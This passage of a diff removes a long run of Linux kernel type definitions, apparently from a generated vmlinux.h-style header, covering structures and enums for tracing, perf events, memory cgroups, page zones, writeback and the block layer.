-struct trace_pid_list { - raw_spinlock_t lock; - struct irq_work refill_irqwork; - union upper_chunk *upper[256]; - union upper_chunk *upper_list; - union lower_chunk *lower_list; - int free_upper_chunks; - int free_lower_chunks; -}; - -struct trace_array_cpu { - atomic_t disabled; - void *buffer_page; - long unsigned int entries; - long unsigned int saved_latency; - long unsigned int critical_start; - long unsigned int critical_end; - long unsigned int critical_sequence; - long unsigned int nice; - long unsigned int policy; - long unsigned int rt_priority; - long unsigned int skipped_entries; - u64 preempt_timestamp; - pid_t pid; - kuid_t uid; - char comm[16]; - int ftrace_ignore_pid; - bool ignore_pid; -}; - -struct trace_option_dentry; - -struct trace_options { - struct tracer *tracer; - struct trace_option_dentry *topts; -}; - -struct tracer_opt; - -struct trace_option_dentry { - struct tracer_opt *opt; - struct tracer_flags *flags; - struct trace_array *tr; - struct dentry *entry; -}; - -struct trace_func_repeats { - long unsigned int ip; - long unsigned int parent_ip; - long unsigned int count; - u64 ts_last_call; -}; - -enum { - TRACE_ARRAY_FL_GLOBAL = 1, -}; - -struct tracer_opt { - const char *name; - u32 bit; -}; - -struct tracer_flags { - u32 val; - struct tracer_opt *opts; - struct tracer *trace; -}; - -enum trace_iterator_bits { - TRACE_ITER_PRINT_PARENT_BIT = 0, - TRACE_ITER_SYM_OFFSET_BIT = 1, - TRACE_ITER_SYM_ADDR_BIT = 2, - TRACE_ITER_VERBOSE_BIT = 3, - TRACE_ITER_RAW_BIT = 4, - TRACE_ITER_HEX_BIT = 5, - TRACE_ITER_BIN_BIT = 6, - TRACE_ITER_BLOCK_BIT = 7, - TRACE_ITER_PRINTK_BIT = 8, - TRACE_ITER_ANNOTATE_BIT = 9, - TRACE_ITER_USERSTACKTRACE_BIT = 10, - TRACE_ITER_SYM_USEROBJ_BIT = 11, - TRACE_ITER_PRINTK_MSGONLY_BIT = 12, - TRACE_ITER_CONTEXT_INFO_BIT = 13, - TRACE_ITER_LATENCY_FMT_BIT = 14, - TRACE_ITER_RECORD_CMD_BIT = 15, - TRACE_ITER_RECORD_TGID_BIT = 16, - TRACE_ITER_OVERWRITE_BIT = 17, - TRACE_ITER_STOP_ON_FREE_BIT = 18, - TRACE_ITER_IRQ_INFO_BIT = 19, - TRACE_ITER_MARKERS_BIT = 20, - TRACE_ITER_EVENT_FORK_BIT = 21, - TRACE_ITER_PAUSE_ON_TRACE_BIT = 22, - TRACE_ITER_HASH_PTR_BIT = 23, - TRACE_ITER_FUNCTION_BIT = 24, - TRACE_ITER_FUNC_FORK_BIT = 25, - TRACE_ITER_DISPLAY_GRAPH_BIT = 26, - TRACE_ITER_STACKTRACE_BIT = 27, - TRACE_ITER_LAST_BIT = 28, -}; - -struct event_subsystem { - struct list_head list; - const char *name; - struct event_filter *filter; - int ref_count; -}; - -enum perf_branch_sample_type_shift { - PERF_SAMPLE_BRANCH_USER_SHIFT = 0, - PERF_SAMPLE_BRANCH_KERNEL_SHIFT = 1, - PERF_SAMPLE_BRANCH_HV_SHIFT = 2, - PERF_SAMPLE_BRANCH_ANY_SHIFT = 3, - PERF_SAMPLE_BRANCH_ANY_CALL_SHIFT = 4, - PERF_SAMPLE_BRANCH_ANY_RETURN_SHIFT = 5, - PERF_SAMPLE_BRANCH_IND_CALL_SHIFT = 6, - PERF_SAMPLE_BRANCH_ABORT_TX_SHIFT = 7, - PERF_SAMPLE_BRANCH_IN_TX_SHIFT = 8, - PERF_SAMPLE_BRANCH_NO_TX_SHIFT = 9, - PERF_SAMPLE_BRANCH_COND_SHIFT = 10, - PERF_SAMPLE_BRANCH_CALL_STACK_SHIFT = 11, - PERF_SAMPLE_BRANCH_IND_JUMP_SHIFT = 12, - PERF_SAMPLE_BRANCH_CALL_SHIFT = 13, - PERF_SAMPLE_BRANCH_NO_FLAGS_SHIFT = 14, - PERF_SAMPLE_BRANCH_NO_CYCLES_SHIFT = 15, - PERF_SAMPLE_BRANCH_TYPE_SAVE_SHIFT = 16, - PERF_SAMPLE_BRANCH_HW_INDEX_SHIFT = 17, - PERF_SAMPLE_BRANCH_PRIV_SAVE_SHIFT = 18, - PERF_SAMPLE_BRANCH_MAX_SHIFT = 19, -}; - -struct perf_event_mmap_page { - __u32 version; - __u32 compat_version; - __u32 lock; - __u32 index; - __s64 offset; - __u64 time_enabled; - __u64 time_running; - union { - __u64 capabilities; - struct { - __u64 cap_bit0: 1; - __u64 cap_bit0_is_deprecated: 1; - __u64 cap_user_rdpmc: 1; - __u64 cap_user_time: 1; - __u64 cap_user_time_zero: 1; - __u64 cap_user_time_short: 1; - __u64 cap_____res: 58; - }; - }; - __u16 pmc_width; - __u16 time_shift; - __u32 time_mult; - __u64 time_offset; - __u64 time_zero; - __u32 size; - __u32 __reserved_1; - __u64 time_cycles; - __u64 time_mask; - __u8 __reserved[928]; - __u64 data_head; - __u64 data_tail; - __u64 data_offset; - __u64 data_size; - __u64 aux_head; - __u64 aux_tail; - __u64 aux_offset; - __u64 aux_size; -}; - -struct perf_event_header { - __u32 type; - __u16 misc; - __u16 size; -}; - -enum perf_event_type { - PERF_RECORD_MMAP = 1, - PERF_RECORD_LOST = 2, - PERF_RECORD_COMM = 3, - PERF_RECORD_EXIT = 4, - PERF_RECORD_THROTTLE = 5, - PERF_RECORD_UNTHROTTLE = 6, - PERF_RECORD_FORK = 7, - PERF_RECORD_READ = 8, - PERF_RECORD_SAMPLE = 9, - PERF_RECORD_MMAP2 = 10, - PERF_RECORD_AUX = 11, - PERF_RECORD_ITRACE_START = 12, - PERF_RECORD_LOST_SAMPLES = 13, - PERF_RECORD_SWITCH = 14, - PERF_RECORD_SWITCH_CPU_WIDE = 15, - PERF_RECORD_NAMESPACES = 16, - PERF_RECORD_KSYMBOL = 17, - PERF_RECORD_BPF_EVENT = 18, - PERF_RECORD_CGROUP = 19, - PERF_RECORD_TEXT_POKE = 20, - PERF_RECORD_AUX_OUTPUT_HW_ID = 21, - PERF_RECORD_MAX = 22, -}; - -enum refcount_saturation_type { - REFCOUNT_ADD_NOT_ZERO_OVF = 0, - REFCOUNT_ADD_OVF = 1, - REFCOUNT_ADD_UAF = 2, - REFCOUNT_SUB_UAF = 3, - REFCOUNT_DEC_LEAK = 4, -}; - -enum pageflags { - PG_locked = 0, - PG_referenced = 1, - PG_uptodate = 2, - PG_dirty = 3, - PG_lru = 4, - PG_active = 5, - PG_workingset = 6, - PG_waiters = 7, - PG_error = 8, - PG_slab = 9, - PG_owner_priv_1 = 10, - PG_arch_1 = 11, - PG_reserved = 12, - PG_private = 13, - PG_private_2 = 14, - PG_writeback = 15, - PG_head = 16, - PG_mappedtodisk = 17, - PG_reclaim = 18, - PG_swapbacked = 19, - PG_unevictable = 20, - PG_mlocked = 21, - PG_uncached = 22, - PG_hwpoison = 23, - PG_arch_2 = 24, - __NR_PAGEFLAGS = 25, - PG_readahead = 18, - PG_anon_exclusive = 17, - PG_checked = 10, - PG_swapcache = 10, - PG_fscache = 14, - PG_pinned = 10, - PG_savepinned = 3, - PG_foreign = 10, - PG_xen_remapped = 10, - PG_slob_free = 13, - PG_double_map = 6, - PG_has_hwpoisoned = 8, - PG_isolated = 18, - PG_reported = 2, -}; - -struct perf_buffer { - refcount_t refcount; - struct callback_head callback_head; - int nr_pages; - int overwrite; - int paused; - atomic_t poll; - local_t head; - unsigned int nest; - local_t events; - local_t wakeup; - local_t lost; - long int watermark; - long int aux_watermark; - spinlock_t event_lock; - struct list_head event_list; - atomic_t mmap_count; - long unsigned int mmap_locked; - struct user_struct *mmap_user; - long int aux_head; - unsigned int aux_nest; - long int aux_wakeup; - long unsigned int aux_pgoff; - int aux_nr_pages; - int aux_overwrite; - atomic_t aux_mmap_count; - long unsigned int aux_mmap_locked; - void (*free_aux)(void *); - refcount_t aux_refcount; - int aux_in_sampling; - void **aux_pages; - void *aux_priv; - struct perf_event_mmap_page *user_page; - void *data_pages[0]; -}; - -struct sysinfo { - __kernel_long_t uptime; - __kernel_ulong_t loads[3]; - __kernel_ulong_t totalram; - __kernel_ulong_t freeram; - __kernel_ulong_t sharedram; - __kernel_ulong_t bufferram; - __kernel_ulong_t totalswap; - __kernel_ulong_t freeswap; - __u16 procs; - __u16 pad; - __kernel_ulong_t totalhigh; - __kernel_ulong_t freehigh; - __u32 mem_unit; - char _f[0]; -}; - -typedef long unsigned int p4dval_t; - -typedef struct { - p4dval_t p4d; -} p4d_t; - -struct static_key_true { - struct static_key key; -}; - -struct static_key_false { - struct static_key key; -}; - -struct cacheline_padding { - char x[0]; -}; - -struct wait_queue_entry; - -typedef int (*wait_queue_func_t)(struct wait_queue_entry *, unsigned int, int, void *); - -struct wait_queue_entry { - unsigned int flags; - void *private; - wait_queue_func_t func; - struct list_head entry; -}; - -typedef struct wait_queue_entry wait_queue_entry_t; - -struct mem_cgroup_id { - int id; - refcount_t ref; -}; - -struct page_counter { - atomic_long_t usage; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct cacheline_padding _pad1_; - long unsigned int emin; - atomic_long_t min_usage; - atomic_long_t children_min_usage; - long unsigned int elow; - atomic_long_t low_usage; - atomic_long_t children_low_usage; - long unsigned int watermark; - long unsigned int failcnt; - struct cacheline_padding _pad2_; - long unsigned int min; - long unsigned int low; - long unsigned int high; - long unsigned int max; - struct page_counter *parent; - long: 64; - long: 64; - long: 64; -}; - -struct vmpressure { - long unsigned int scanned; - long unsigned int reclaimed; - long unsigned int tree_scanned; - long unsigned int tree_reclaimed; - spinlock_t sr_lock; - struct list_head events; - struct mutex events_lock; - struct work_struct work; -}; - -struct mem_cgroup_threshold_ary; - -struct mem_cgroup_thresholds { - struct mem_cgroup_threshold_ary *primary; - struct mem_cgroup_threshold_ary *spare; -}; - -struct fprop_global { - struct percpu_counter events; - unsigned int period; - seqcount_t sequence; -}; - -struct wb_domain { - spinlock_t lock; - struct fprop_global completions; - struct timer_list period_timer; - long unsigned int period_time; - long unsigned int dirty_limit_tstamp; - long unsigned int dirty_limit; -}; - -struct wb_completion { - atomic_t cnt; - wait_queue_head_t *waitq; -}; - -struct memcg_cgwb_frn { - u64 bdi_id; - int memcg_id; - u64 at; - struct wb_completion done; -}; - -struct deferred_split { - spinlock_t split_queue_lock; - struct list_head split_queue; - long unsigned int split_queue_len; -}; - -struct memcg_vmstats; - -struct obj_cgroup; - -struct memcg_vmstats_percpu; - -struct mem_cgroup_per_node; - -struct mem_cgroup { - struct cgroup_subsys_state css; - struct mem_cgroup_id id; - long: 64; - long: 64; - long: 64; - long: 64; - struct page_counter memory; - union { - struct page_counter swap; - struct page_counter memsw; - }; - struct page_counter kmem; - struct page_counter tcpmem; - struct work_struct high_work; - long unsigned int soft_limit; - struct vmpressure vmpressure; - bool oom_group; - bool oom_lock; - int under_oom; - int swappiness; - int oom_kill_disable; - struct cgroup_file events_file; - struct cgroup_file events_local_file; - struct cgroup_file swap_events_file; - struct mutex thresholds_lock; - struct mem_cgroup_thresholds thresholds; - struct mem_cgroup_thresholds memsw_thresholds; - struct list_head oom_notify; - long unsigned int move_charge_at_immigrate; - spinlock_t move_lock; - long unsigned int move_lock_flags; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct cacheline_padding _pad1_; - struct memcg_vmstats *vmstats; - atomic_long_t memory_events[9]; - atomic_long_t memory_events_local[9]; - long unsigned int socket_pressure; - bool tcpmem_active; - int tcpmem_pressure; - int kmemcg_id; - struct obj_cgroup *objcg; - struct list_head objcg_list; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct cacheline_padding _pad2_; - atomic_t moving_account; - struct task_struct *move_lock_task; - struct memcg_vmstats_percpu *vmstats_percpu; - struct list_head cgwb_list; - struct wb_domain cgwb_domain; - struct memcg_cgwb_frn cgwb_frn[4]; - struct list_head event_list; - spinlock_t event_list_lock; - struct deferred_split deferred_split_queue; - struct mem_cgroup_per_node *nodeinfo[0]; - long: 64; - long: 64; -}; - -struct maple_alloc { - long unsigned int total; - unsigned char node_count; - unsigned int request_count; - struct maple_alloc *slot[30]; -}; - -struct maple_enode; - -struct ma_state { - struct maple_tree *tree; - long unsigned int index; - long unsigned int last; - struct maple_enode *node; - long unsigned int min; - long unsigned int max; - struct maple_alloc *alloc; - unsigned char depth; - unsigned char offset; - unsigned char mas_flags; -}; - -enum { - WORK_STRUCT_PENDING_BIT = 0LL, - WORK_STRUCT_INACTIVE_BIT = 1LL, - WORK_STRUCT_PWQ_BIT = 2LL, - WORK_STRUCT_LINKED_BIT = 3LL, - WORK_STRUCT_COLOR_SHIFT = 4LL, - WORK_STRUCT_COLOR_BITS = 4LL, - WORK_STRUCT_PENDING = 1LL, - WORK_STRUCT_INACTIVE = 2LL, - WORK_STRUCT_PWQ = 4LL, - WORK_STRUCT_LINKED = 8LL, - WORK_STRUCT_STATIC = 0LL, - WORK_NR_COLORS = 16LL, - WORK_CPU_UNBOUND = 128LL, - WORK_STRUCT_FLAG_BITS = 8LL, - WORK_OFFQ_FLAG_BASE = 4LL, - __WORK_OFFQ_CANCELING = 4LL, - WORK_OFFQ_CANCELING = 16LL, - WORK_OFFQ_FLAG_BITS = 1LL, - WORK_OFFQ_POOL_SHIFT = 5LL, - WORK_OFFQ_LEFT = 59LL, - WORK_OFFQ_POOL_BITS = 31LL, - WORK_OFFQ_POOL_NONE = 2147483647LL, - WORK_STRUCT_FLAG_MASK = 255LL, - WORK_STRUCT_WQ_DATA_MASK = -256LL, - WORK_STRUCT_NO_POOL = 68719476704LL, - WORK_BUSY_PENDING = 1LL, - WORK_BUSY_RUNNING = 2LL, - WORKER_DESC_LEN = 24LL, -}; - -struct anon_vma { - struct anon_vma *root; - struct rw_semaphore rwsem; - atomic_t refcount; - long unsigned int num_children; - long unsigned int num_active_vmas; - struct anon_vma *parent; - struct rb_root_cached rb_root; -}; - -struct mempolicy { - atomic_t refcnt; - short unsigned int mode; - short unsigned int flags; - nodemask_t nodes; - int home_node; - union { - nodemask_t cpuset_mems_allowed; - nodemask_t user_nodemask; - } w; -}; - -struct vma_iterator { - struct ma_state mas; -}; - -typedef struct { - long unsigned int val; -} swp_entry_t; - -struct free_area { - struct list_head free_list[6]; - long unsigned int nr_free; -}; - -struct pglist_data; - -struct lruvec { - struct list_head lists[5]; - spinlock_t lru_lock; - long unsigned int anon_cost; - long unsigned int file_cost; - atomic_long_t nonresident_age; - long unsigned int refaults[2]; - long unsigned int flags; - struct pglist_data *pgdat; -}; - -struct per_cpu_pages; - -struct per_cpu_zonestat; - -struct zone { - long unsigned int _watermark[4]; - long unsigned int watermark_boost; - long unsigned int nr_reserved_highatomic; - long int lowmem_reserve[4]; - int node; - struct pglist_data *zone_pgdat; - struct per_cpu_pages *per_cpu_pageset; - struct per_cpu_zonestat *per_cpu_zonestats; - int pageset_high; - int pageset_batch; - long unsigned int zone_start_pfn; - atomic_long_t managed_pages; - long unsigned int spanned_pages; - long unsigned int present_pages; - long unsigned int cma_pages; - const char *name; - long unsigned int nr_isolate_pageblock; - int initialized; - long: 64; - struct cacheline_padding _pad1_; - struct free_area free_area[11]; - long unsigned int flags; - spinlock_t lock; - struct cacheline_padding _pad2_; - long unsigned int percpu_drift_mark; - long unsigned int compact_cached_free_pfn; - long unsigned int compact_cached_migrate_pfn[2]; - long unsigned int compact_init_migrate_pfn; - long unsigned int compact_init_free_pfn; - unsigned int compact_considered; - unsigned int compact_defer_shift; - int compact_order_failed; - bool compact_blockskip_flush; - bool contiguous; - long: 0; - struct cacheline_padding _pad3_; - atomic_long_t vm_stat[10]; - atomic_long_t vm_numa_event[6]; -}; - -struct zoneref { - struct zone *zone; - int zone_idx; -}; - -struct zonelist { - struct zoneref _zonerefs[257]; -}; - -enum zone_type { - ZONE_DMA = 0, - ZONE_DMA32 = 1, - ZONE_NORMAL = 2, - ZONE_MOVABLE = 3, - __MAX_NR_ZONES = 4, -}; - -struct per_cpu_nodestat; - -struct memory_tier; - -struct pglist_data { - struct zone node_zones[4]; - struct zonelist node_zonelists[2]; - int nr_zones; - long unsigned int node_start_pfn; - long unsigned int node_present_pages; - long unsigned int node_spanned_pages; - int node_id; - wait_queue_head_t kswapd_wait; - wait_queue_head_t pfmemalloc_wait; - wait_queue_head_t reclaim_wait[4]; - atomic_t nr_writeback_throttled; - long unsigned int nr_reclaim_start; - struct task_struct *kswapd; - int kswapd_order; - enum zone_type kswapd_highest_zoneidx; - int kswapd_failures; - int kcompactd_max_order; - enum zone_type kcompactd_highest_zoneidx; - wait_queue_head_t kcompactd_wait; - struct task_struct *kcompactd; - bool proactive_compact_trigger; - long unsigned int totalreserve_pages; - long unsigned int min_unmapped_pages; - long unsigned int min_slab_pages; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct cacheline_padding _pad1_; - struct deferred_split deferred_split_queue; - unsigned int nbp_rl_start; - long unsigned int nbp_rl_nr_cand; - unsigned int nbp_threshold; - unsigned int nbp_th_start; - long unsigned int nbp_th_nr_cand; - struct lruvec __lruvec; - long unsigned int flags; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct cacheline_padding _pad2_; - struct per_cpu_nodestat *per_cpu_nodestats; - atomic_long_t vm_stat[43]; - struct memory_tier *memtier; - long: 64; - long: 64; - long: 64; -}; - -struct per_cpu_pages { - spinlock_t lock; - int count; - int high; - int batch; - short int free_factor; - short int expire; - struct list_head lists[13]; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct per_cpu_zonestat { - s8 vm_stat_diff[10]; - s8 stat_threshold; - long unsigned int vm_numa_event[6]; -}; - -struct per_cpu_nodestat { - s8 stat_threshold; - s8 vm_node_stat_diff[43]; -}; - -struct plist_head { - struct list_head node_list; -}; - -struct bio; - -struct bio_list { - struct bio *head; - struct bio *tail; -}; - -struct request; - -struct blk_plug { - struct request *mq_list; - struct request *cached_rq; - short unsigned int nr_ios; - short unsigned int rq_count; - bool multiple_queues; - bool has_elevator; - bool nowait; - struct list_head cb_list; -}; - -struct reclaim_state { - long unsigned int reclaimed_slab; -}; - -struct fprop_local_percpu { - struct percpu_counter events; - unsigned int period; - raw_spinlock_t lock; -}; - -enum wb_reason { - WB_REASON_BACKGROUND = 0, - WB_REASON_VMSCAN = 1, - WB_REASON_SYNC = 2, - WB_REASON_PERIODIC = 3, - WB_REASON_LAPTOP_TIMER = 4, - WB_REASON_FS_FREE_SPACE = 5, - WB_REASON_FORKER_THREAD = 6, - WB_REASON_FOREIGN_FLUSH = 7, - WB_REASON_MAX = 8, -}; - -struct bdi_writeback { - struct backing_dev_info *bdi; - long unsigned int state; - long unsigned int last_old_flush; - struct list_head b_dirty; - struct list_head b_io; - struct list_head b_more_io; - struct list_head b_dirty_time; - spinlock_t list_lock; - atomic_t writeback_inodes; - struct percpu_counter stat[4]; - long unsigned int bw_time_stamp; - long unsigned int dirtied_stamp; - long unsigned int written_stamp; - long unsigned int write_bandwidth; - long unsigned int avg_write_bandwidth; - long unsigned int dirty_ratelimit; - long unsigned int balanced_dirty_ratelimit; - struct fprop_local_percpu completions; - int dirty_exceeded; - enum wb_reason start_all_reason; - spinlock_t work_lock; - struct list_head work_list; - struct delayed_work dwork; - struct delayed_work bw_dwork; - long unsigned int dirty_sleep; - struct list_head bdi_node; - struct percpu_ref refcnt; - struct fprop_local_percpu memcg_completions; - struct cgroup_subsys_state *memcg_css; - struct cgroup_subsys_state *blkcg_css; - struct list_head memcg_node; - struct list_head blkcg_node; - struct list_head b_attached; - struct list_head offline_node; - union { - struct work_struct release_work; - struct callback_head rcu; - }; -}; - -struct backing_dev_info { - u64 id; - struct rb_node rb_node; - struct list_head bdi_list; - long unsigned int ra_pages; - long unsigned int io_pages; - struct kref refcnt; - unsigned int capabilities; - unsigned int min_ratio; - unsigned int max_ratio; - unsigned int max_prop_frac; - atomic_long_t tot_write_bandwidth; - struct bdi_writeback wb; - struct list_head wb_list; - struct xarray cgwb_tree; - struct mutex cgwb_release_mutex; - struct rw_semaphore wb_switch_rwsem; - wait_queue_head_t wb_waitq; - struct device *dev; - char dev_name[64]; - struct device *owner; - struct timer_list laptop_mode_wb_timer; - struct dentry *debug_dir; -}; - -enum blk_bounce { - BLK_BOUNCE_NONE = 0, - BLK_BOUNCE_HIGH = 1, -}; - -enum blk_zoned_model { - BLK_ZONED_NONE = 0, - BLK_ZONED_HA = 1, - BLK_ZONED_HM = 2, -}; - -struct queue_limits { - enum blk_bounce bounce; - long unsigned int seg_boundary_mask; - long unsigned int virt_boundary_mask; - unsigned int max_hw_sectors; - unsigned int max_dev_sectors; - unsigned int chunk_sectors; - unsigned int max_sectors; - unsigned int max_segment_size; - unsigned int physical_block_size; - unsigned int logical_block_size; - unsigned int alignment_offset; - unsigned int io_min; - unsigned int io_opt; - unsigned int max_discard_sectors; - unsigned int max_hw_discard_sectors; - unsigned int max_secure_erase_sectors; - unsigned int max_write_zeroes_sectors; - unsigned int max_zone_append_sectors; - unsigned int discard_granularity; - unsigned int discard_alignment; - unsigned int zone_write_granularity; - short unsigned int max_segments; - short unsigned int max_integrity_segments; - short unsigned int max_discard_segments; - unsigned char misaligned; - unsigned char discard_misaligned; - unsigned char raid_partial_stripes_expensive; - enum blk_zoned_model zoned; - unsigned int dma_alignment; -}; - -struct elevator_queue; - -struct blk_queue_stats; - -struct rq_qos; - -struct blk_mq_ops; - -struct blk_mq_ctx; - -struct gendisk; - -struct blk_stat_callback; - -struct blk_rq_stat; - -struct blk_mq_tags; - -struct blkcg_gq; - -struct blk_trace; - -struct blk_flush_queue; - -struct throtl_data; - -struct blk_mq_tag_set; - -struct request_queue { - struct request *last_merge; - struct elevator_queue *elevator; - struct percpu_ref q_usage_counter; - struct blk_queue_stats *stats; - struct rq_qos *rq_qos; - const struct blk_mq_ops *mq_ops; - struct blk_mq_ctx *queue_ctx; - unsigned int queue_depth; - struct xarray hctx_table; - unsigned int nr_hw_queues; - void *queuedata; - long unsigned int queue_flags; - atomic_t pm_only; - int id; - spinlock_t queue_lock; - struct gendisk *disk; - struct kobject kobj; - struct kobject *mq_kobj; - struct device *dev; - enum rpm_status rpm_status; - long unsigned int nr_requests; - unsigned int dma_pad_mask; - unsigned int rq_timeout; - int poll_nsec; - struct blk_stat_callback *poll_cb; - struct blk_rq_stat *poll_stat; - struct timer_list timeout; - struct work_struct timeout_work; - atomic_t nr_active_requests_shared_tags; - struct blk_mq_tags *sched_shared_tags; - struct list_head icq_list; - long unsigned int blkcg_pols[1]; - struct blkcg_gq *root_blkg; - struct list_head blkg_list; - struct queue_limits limits; - unsigned int required_elevator_features; - int node; - struct blk_trace *blk_trace; - struct blk_flush_queue *fq; - struct list_head requeue_list; - spinlock_t requeue_lock; - struct delayed_work requeue_work; - struct mutex sysfs_lock; - struct mutex sysfs_dir_lock; - struct list_head unused_hctx_list; - spinlock_t unused_hctx_lock; - int mq_freeze_depth; - struct throtl_data *td; - struct callback_head callback_head; - wait_queue_head_t mq_freeze_wq; - struct mutex mq_freeze_lock; - int quiesce_depth; - struct blk_mq_tag_set *tag_set; - struct list_head tag_set_list; - struct dentry *debugfs_dir; - struct dentry *sched_debugfs_dir; - struct dentry *rqos_debugfs_dir; - struct mutex debugfs_mutex; - bool mq_sysfs_init_done; - struct srcu_struct srcu[0]; -}; - -enum { - __PERCPU_REF_ATOMIC = 1, - __PERCPU_REF_DEAD = 2, - __PERCPU_REF_ATOMIC_DEAD = 3, - __PERCPU_REF_FLAG_BITS = 2, -}; - -enum { - PERCPU_REF_INIT_ATOMIC = 1, - PERCPU_REF_INIT_DEAD = 2, - PERCPU_REF_ALLOW_REINIT = 4, -}; - -struct wait_page_queue { - struct folio *folio; - int bit_nr; - wait_queue_entry_t wait; -}; - -enum writeback_sync_modes { - WB_SYNC_NONE = 0, - WB_SYNC_ALL = 1, -}; - -struct swap_iocb; - -struct writeback_control { - long int nr_to_write; - long int pages_skipped; - loff_t range_start; - loff_t range_end; - enum writeback_sync_modes sync_mode; - unsigned int for_kupdate: 1; - unsigned int for_background: 1; - unsigned int tagged_writepages: 1; - unsigned int for_reclaim: 1; - unsigned int range_cyclic: 1; - unsigned int for_sync: 1; - unsigned int unpinned_fscache_wb: 1; - unsigned int no_cgroup_owner: 1; - unsigned int punt_to_cgroup: 1; - struct swap_iocb **swap_plug; - struct bdi_writeback *wb; - struct inode *inode; - int wb_id; - int wb_lcand_id; - int wb_tcand_id; - size_t wb_bytes; - size_t wb_lcand_bytes; - size_t wb_tcand_bytes; -}; - -struct readahead_control { - struct file *file; - struct address_space *mapping; - struct file_ra_state *ra; - long unsigned int _index; - unsigned int _nr_pages; - unsigned int _batch_count; - bool _workingset; - long unsigned int _pflags; -}; - -struct swap_cluster_info { - spinlock_t lock; - unsigned int data: 24; - unsigned int flags: 8; -}; - -struct swap_cluster_list { - struct swap_cluster_info head; - struct swap_cluster_info tail; -}; - -struct percpu_cluster; - -struct swap_info_struct { - struct percpu_ref users; - long unsigned int flags; - short int prio; - struct plist_node list; - signed char type; - unsigned int max; - unsigned char *swap_map; - struct swap_cluster_info *cluster_info; - struct swap_cluster_list free_clusters; - unsigned int lowest_bit; - unsigned int highest_bit; - unsigned int pages; - unsigned int inuse_pages; - unsigned int cluster_next; - unsigned int cluster_nr; - unsigned int *cluster_next_cpu; - struct percpu_cluster *percpu_cluster; - struct rb_root swap_extent_root; - struct block_device *bdev; - struct file *swap_file; - unsigned int old_block_size; - struct completion comp; - spinlock_t lock; - spinlock_t cont_lock; - struct work_struct discard_work; - struct swap_cluster_list discard_clusters; - struct plist_node avail_lists[0]; -}; - -struct disk_stats; - -struct partition_meta_info; - -struct block_device { - sector_t bd_start_sect; - sector_t bd_nr_sectors; - struct disk_stats *bd_stats; - long unsigned int bd_stamp; - bool bd_read_only; - dev_t bd_dev; - atomic_t bd_openers; - struct inode *bd_inode; - struct super_block *bd_super; - void *bd_claiming; - struct device bd_device; - void *bd_holder; - int bd_holders; - bool bd_write_holder; - struct kobject *bd_holder_dir; - u8 bd_partno; - spinlock_t bd_size_lock; - struct gendisk *bd_disk; - struct request_queue *bd_queue; - int bd_fsfreeze_count; - struct mutex bd_fsfreeze_mutex; - struct super_block *bd_fsfreeze_sb; - struct partition_meta_info *bd_meta_info; -}; - -struct io_comp_batch { - struct request *req_list; - bool need_ts; - void (*complete)(struct io_comp_batch *); -}; - -struct fc_log; - -struct p_log { - const char *prefix; - struct fc_log *log; -}; - -enum fs_context_purpose { - FS_CONTEXT_FOR_MOUNT = 0, - FS_CONTEXT_FOR_SUBMOUNT = 1, - FS_CONTEXT_FOR_RECONFIGURE = 2, -}; - -enum fs_context_phase { - FS_CONTEXT_CREATE_PARAMS = 0, - FS_CONTEXT_CREATING = 1, - FS_CONTEXT_AWAITING_MOUNT = 2, - FS_CONTEXT_AWAITING_RECONF = 3, - FS_CONTEXT_RECONF_PARAMS = 4, - FS_CONTEXT_RECONFIGURING = 5, - FS_CONTEXT_FAILED = 6, -}; - -struct fs_context_operations; - -struct fs_context { - const struct fs_context_operations *ops; - struct mutex uapi_mutex; - struct file_system_type *fs_type; - void *fs_private; - void *sget_key; - struct dentry *root; - struct user_namespace *user_ns; - struct net *net_ns; - const struct cred *cred; - struct p_log log; - const char *source; - void *security; - void *s_fs_info; - unsigned int sb_flags; - unsigned int sb_flags_mask; - unsigned int s_iflags; - unsigned int lsm_flags; - enum fs_context_purpose purpose: 8; - enum fs_context_phase phase: 8; - bool need_free: 1; - bool global: 1; - bool oldapi: 1; -}; - -struct audit_names; - -struct filename { - const char *name; - const char *uptr; - int refcnt; - struct audit_names *aname; - const char iname[0]; -}; - -typedef __u32 blk_opf_t; - -typedef u8 blk_status_t; - -struct bvec_iter { - sector_t bi_sector; - unsigned int bi_size; - unsigned int bi_idx; - unsigned int bi_bvec_done; -} __attribute__((packed)); - -typedef unsigned int blk_qc_t; - -typedef void bio_end_io_t(struct bio *); - -struct bio_issue { - u64 value; -}; - -struct bio_set; - -struct bio { - struct bio *bi_next; - struct block_device *bi_bdev; - blk_opf_t bi_opf; - short unsigned int bi_flags; - short unsigned int bi_ioprio; - blk_status_t bi_status; - atomic_t __bi_remaining; - struct bvec_iter bi_iter; - blk_qc_t bi_cookie; - bio_end_io_t *bi_end_io; - void *bi_private; - struct blkcg_gq *bi_blkg; - struct bio_issue bi_issue; - union {}; - short unsigned int bi_vcnt; - short unsigned int bi_max_vecs; - atomic_t __bi_cnt; - struct bio_vec *bi_io_vec; - struct bio_set *bi_pool; - struct bio_vec bi_inline_vecs[0]; -}; - -enum { - EI_ETYPE_NONE = 0, - EI_ETYPE_NULL = 1, - EI_ETYPE_ERRNO = 2, - EI_ETYPE_ERRNO_NULL = 3, - EI_ETYPE_TRUE = 4, -}; - -typedef void *mempool_alloc_t(gfp_t, void *); - -typedef void mempool_free_t(void *, void *); - -struct mempool_s { - spinlock_t lock; - int min_nr; - int curr_nr; - void **elements; - void *pool_data; - mempool_alloc_t *alloc; - mempool_free_t *free; - wait_queue_head_t wait; -}; - -typedef struct mempool_s mempool_t; - -struct bio_alloc_cache; - -struct bio_set { - struct kmem_cache *bio_slab; - unsigned int front_pad; - struct bio_alloc_cache *cache; - mempool_t bio_pool; - mempool_t bvec_pool; - unsigned int back_pad; - spinlock_t rescue_lock; - struct bio_list rescue_list; - struct work_struct rescue_work; - struct workqueue_struct *rescue_workqueue; - struct hlist_node cpuhp_dead; -}; - -struct block_device_operations; - -struct timer_rand_state; - -struct disk_events; - -struct badblocks; - -struct blk_independent_access_ranges; - -struct gendisk { - int major; - int first_minor; - int minors; - char disk_name[32]; - short unsigned int events; - short unsigned int event_flags; - struct xarray part_tbl; - struct block_device *part0; - const struct block_device_operations *fops; - struct request_queue *queue; - void *private_data; - struct bio_set bio_split; - int flags; - 